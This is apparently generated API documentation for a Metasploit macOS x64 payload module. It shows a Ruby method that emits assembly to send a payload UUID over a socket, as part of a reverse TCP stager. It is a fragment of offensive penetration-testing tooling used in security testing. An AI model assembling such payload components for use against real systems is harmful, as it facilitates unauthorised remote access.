Module: Msf::Payload::Osx::SendUUID_x64

Included in:
ReverseTcp_x64
Defined in:
lib/msf/core/payload/osx/x64/send_uuid_x64.rb

Overview

Basic send_uuid stub for OSX ARCH_X64 payloads

Instance Method Summary collapse

Instance Method Details

#asm_send_uuid(uuid = nil) ⇒ Object

Generate assembly code that writes the UUID to the socket.



16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# File 'lib/msf/core/payload/osx/x64/send_uuid_x64.rb', line 16

def asm_send_uuid(uuid=nil)
  uuid ||= generate_payload_uuid
  uuid_raw = uuid.to_raw

  asm =%Q^
    send_uuid:
      call get_uuid_address     ; put uuid buffer on the stack
      db #{raw_to_db(uuid_raw)} ; UUID
    get_uuid_address:
      pop rsi                   ; UUID address
      push #{uuid_raw.length}   ; length of the UUID
      pop rdx
      push 0x2000085
      pop rax
      syscall                   ; sendto(sockfd, addr, length)
  ^

  asm
end